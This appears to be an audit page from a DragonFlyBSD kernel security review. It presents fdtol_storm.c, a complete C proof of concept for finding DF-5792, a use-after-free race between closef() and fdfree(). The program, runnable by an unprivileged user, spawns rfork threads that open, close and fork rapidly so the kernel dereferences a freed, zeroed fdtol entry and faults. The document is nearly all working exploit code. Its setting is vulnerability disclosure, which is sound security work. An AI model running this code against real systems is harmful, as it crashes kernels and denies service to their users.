⬢ DragonFlyBSD Kernel Audit
DF-5792 / fdtol_storm.c
← back to finding ↓ download raw
/*
 * DF-5792 - closef() fdtol-chain walk vs fdfree() unlink+kfree cross-lock UAF.
 *
 * Layout (all RFMEM siblings share one fd table, each with its own
 * filedesc_to_leader entry, kern_fork.c:557-576):
 *
 *   - main          : holds a POSIX write lock (sets VMAYHAVELOCKS on the
 *                     vnode and p_advlock_flag for its leader)
 *   - walkers (6)   : tight open()/close() loop on the same vnode.  Every
 *                     closef() walks the whole fdtol chain under p->p_token
 *                     (kern_descrip.c:3071-3073) - each iteration loads
 *                     fdtol->fdl_next then dereferences fdtol->fdl_leader.
 *   - fillers (94)  : just exist to deepen the chain (fast 'continue' path).
 *   - churner = main: rfork(RFPROC|RFMEM|RFNOWAIT) babies that exit at once;
 *                     every baby exit runs fdfree() which unlinks + kfrees
 *                     the baby's fdtol entry under fdp->fd_spin
 *                     (kern_descrip.c:2675-2688) - no lock shared with the
 *                     closef walk.  The next rfork re-allocates the same
 *                     24-byte M_FILEDESC_TO_LEADER chunk (M_ZERO), so a
 *                     walker that loaded the pointer before the free can
 *                     dereference a zeroed chunk -> NULL fdl_leader ->
 *                     fault in closef().
 *
 * Run as an unprivileged user:  ./fdtol_storm [seconds]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <time.h>

#define RFPROC     (1<<4)
#define RFMEM      (1<<5)
#define RFNOWAIT   (1<<6)
#define RFSIGSHARE (1<<14)

#define NFILLER 94
#define NWALKER 6
#define NBABYSTACK 256
#define NSTACK (NFILLER + NWALKER + NBABYSTACK)
#define STACKSIZE (64*1024)

static volatile int stop = 0;
static volatile long opens_done = 0;
static volatile long forks_done = 0;
static const char *lockfile = "/tmp/df5792.lock";
static char *stacks;

extern pid_t rfork_thread(int, void *, int (*)(void *), void *);

static double now(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ts.tv_sec + ts.tv_nsec / 1e9;
}

static void *stack_top(int i)
{
	return stacks + (size_t)i * STACKSIZE + STACKSIZE - 16;
}

static int filler_main(void *arg)
{
	while (!stop)
		usleep(200000);
	return 0;
}

static int walker_main(void *arg)
{
	int do_lock = (int)(intptr_t)arg;
	int fd;

	if (do_lock) {
		/* read lock from this (different) leader: sets
		 * p_advlock_flag so walks act on our entry too */
		struct flock fl;
		memset(&fl, 0, sizeof(fl));
		fl.l_type = F_RDLCK;
		fl.l_whence = SEEK_SET;
		fd = open(lockfile, O_RDONLY);
		if (fd >= 0)
			fcntl(fd, F_SETLK, &fl);	/* keep fd open */
	}
	while (!stop) {
		fd = open(lockfile, O_RDONLY);
		if (fd >= 0)
			close(fd);	/* closef() walks the chain */
		opens_done++;
	}
	return 0;
}

static int baby_main(void *arg)
{
	/* exit immediately: fdfree() unlinks+kfrees our fdtol entry */
	return 0;
}

int main(int argc, char **argv)
{
	double t0, runlen = 30.0, last_t;
	int fd, i, si;
	struct flock fl;
	long last_opens = 0, last_forks = 0;

	if (argc > 1)
		runlen = atof(argv[1]);

	stacks = mmap(NULL, (size_t)NSTACK * STACKSIZE,
		      PROT_READ | PROT_WRITE,
		      MAP_PRIVATE | MAP_ANON, -1, 0);
	if (stacks == MAP_FAILED) {
		perror("mmap stacks");
		return 1;
	}

	fd = open(lockfile, O_RDWR | O_CREAT, 0666);
	if (fd < 0) {
		perror("open lockfile");
		return 1;
	}
	write(fd, "x", 1);

	/* main leader takes a write lock: sets VMAYHAVELOCKS on the vnode */
	memset(&fl, 0, sizeof(fl));
	fl.l_type = F_WRLCK;
	fl.l_whence = SEEK_SET;
	if (fcntl(fd, F_SETLK, &fl) < 0) {
		perror("F_SETLK");
		return 1;
	}

	/* chain fillers: deepen the fdtol chain */
	for (i = 0; i < NFILLER; i++) {
		if (rfork_thread(RFPROC | RFMEM | RFSIGSHARE,
				 stack_top(i), filler_main, NULL) < 0)
			break;
		usleep(2000);
	}
	fprintf(stderr, "fillers: %d\n", i);

	/* walkers: one takes its own read lock, the rest just close-storm */
	for (i = 0; i < NWALKER; i++) {
		if (rfork_thread(RFPROC | RFMEM | RFSIGSHARE,
				 stack_top(NFILLER + i), walker_main,
				 (void *)(intptr_t)(i == 0)) < 0)
			break;
		usleep(2000);
	}
	fprintf(stderr, "walkers: %d\n", i);

	t0 = now();
	last_t = t0;
	si = 0;
	while (now() - t0 < runlen) {
		if (rfork_thread(RFPROC | RFMEM | RFNOWAIT,
				 stack_top(NFILLER + NWALKER + (si % NBABYSTACK)),
				 baby_main, NULL) >= 0)
			forks_done++;
		si++;
		if (now() - last_t >= 5.0) {
			fprintf(stderr,
				"t=%5.1f opens=%ld (+%ld) forks=%ld (+%ld)\n",
				now() - t0, opens_done, opens_done - last_opens,
				forks_done, forks_done - last_forks);
			last_opens = opens_done;
			last_forks = forks_done;
			last_t = now();
		}
	}
	stop = 1;
	fprintf(stderr, "DONE opens=%ld forks=%ld\n", opens_done, forks_done);
	usleep(500000);
	return 0;
}